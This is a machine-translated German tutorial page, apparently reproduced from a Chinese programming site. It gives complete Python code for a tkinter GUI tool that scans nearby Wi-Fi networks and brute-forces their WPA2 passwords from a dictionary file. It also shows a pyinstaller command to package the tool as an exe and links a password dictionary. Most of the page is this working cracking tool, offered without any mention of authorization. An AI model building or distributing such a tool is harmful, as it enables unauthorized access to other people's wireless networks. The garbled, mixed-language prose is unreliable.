Heim >Backend-Entwicklung >Python-Tutorial >Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

青灯夜游
青灯夜游nach vorne
2022-10-25 21:34:044928Durchsuche

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

Python gilt als Allheilmittel in der Programmierwelt. Ist es also möglich, ein kleines Skript zu erstellen, das das WLAN der Computernetzwerkkarte liest und es gewaltsam knackt? Kann es auf dieser Grundlage zur Vereinfachung der Erfahrung in eine kleine Anwendung wie exe gepackt werden, die einfach auszuführen ist?

Mach es einfach ~

Vorschau der Funktionspunkte

Dieser Artikel teilt hauptsächlich die folgenden Anforderungen: Python, um die drahtlose Netzwerkkarte zu erhalten, Python, um WLAN über die drahtlose Netzwerkkarte zu erhalten, Python, um Brute Force zu knacken wifi

    python zur Implementierung der grafischen GUI-Schnittstelle
  • Python ist in exe gepackt
  • Pre-Preparation-Dependency-Bibliothek
  • comtypes
  • pywifi

pyintaller

  • Beispiel: Verwenden Sie Pycharm-Idee zur Installation. pywifi
  • Natürlich können Sie es auch direkt mit dem Befehl pip install xxx installieren
Python tkinter zum Schreiben der GUI-Schnittstelle

Dieser Artikel verwendet TKinter, um die GUI-Schnittstelle selbst zu schreiben. Sie können einige visuelle Elemente verwenden Tools (wie QT5) zur schnellen Anordnung und Automatisierung von GUI-Code.

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendetPasswortwörterbuch

Was ist ein Passwortwörterbuch?

Einfach ausgedrückt handelt es sich um einen Text, der im Voraus eine Reihe von Passwörtern speichert, bei denen es sich ausschließlich um Zahlen, Zahlen- und Buchstabenkombinationen, Mobiltelefonnummern, Festnetznummern, Geburtstage usw. handelt.

Sie können das Passwortwörterbuch beim Testen dieses Artikels manuell erstellen. Sie können auch die folgende Passwortwörterbuchbibliothek herunterladen

Link: https://pan.baidu.com/s/10v0ghKi_6bkDo3g8-BVLvQ Extraktionscode: zh3m


Öffnen Sie

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("普帝WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=800, height=400, text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", &#39;end&#39;, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo(&#39;提示&#39;, &#39;破解成功!!!&#39;)
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

Package into exe

pyinstaller -F -w -i 图标名.后缀 源文件.py
Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendetSiehe die Erklärung am Ende des Artikels für eine Befehlserklärung

Gehen Sie dann zu Scriptsdist im Python-Installationsverzeichnis auf Ihrem Computer, um Ihre gepackte EXE-Anwendung anzuzeigen

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet Demo

Doppelklicken Sie auf das gepackte .exe-Skript

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

SCHRITT 1: Klicken Sie, um nach WLAN-Anhängen zu suchen Lösung des Verpackungsfehlers

Wenn der folgende Fehler auftritt: struct.error: Unpack erfordert einen Puffer von 16 Bytes


Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

Lösung: Verwenden Sie einfach das Online-Konvertierungstool ico, um das Bild in eine Größe von 16 zu konvertieren *16

Verwenden Sie das Online-Konvertierungstool für ico

pyintaller Häufig verwendete Verpackung Befehlserklärung

Eine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet

【Verwandte Empfehlungen:

Python3-Video-Tutorial

Das obige ist der detaillierte Inhalt vonEine kurze Analyse, wie man Python zum Brute-Force-Knacken einer WLAN-Passwort-EXE-Anwendung verwendet. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen